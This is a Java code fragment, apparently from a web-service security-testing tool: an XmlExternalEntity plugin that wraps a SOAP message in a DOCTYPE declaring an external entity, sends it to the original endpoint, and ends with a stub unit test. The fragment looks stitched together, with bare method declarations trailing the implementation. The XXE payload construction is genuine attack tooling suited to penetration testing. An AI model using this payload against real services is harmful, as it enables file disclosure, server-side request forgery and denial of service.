XmlExternalEntity extends AbstractDosPlugin { @Override public void createTamperedRequest() { String soapMessageFinal; String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); String attribute = "&attackEntity;"; soapMessage = this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, attribute ); StringBuilder sb = new StringBuilder(); sb.append( "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" ); sb.append( "<!DOCTYPE requestType [ <!ENTITY attackEntity SYSTEM " + optionExternalEntity.getValue() + ">]>" ); sb.append( soapMessage ); soapMessageFinal = sb.toString(); Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } httpHeaderMap.put( "Content-Type", "application/xml; charset=UTF-8" ); this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal ); }  @Override void initializeDosPlugin(); @Override OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition(); void initData(); @Override void createTamperedRequest();  }
@Test public void testCreateTamperedRequest() { t.testCreateTamperedRequest( attackPlugin ); }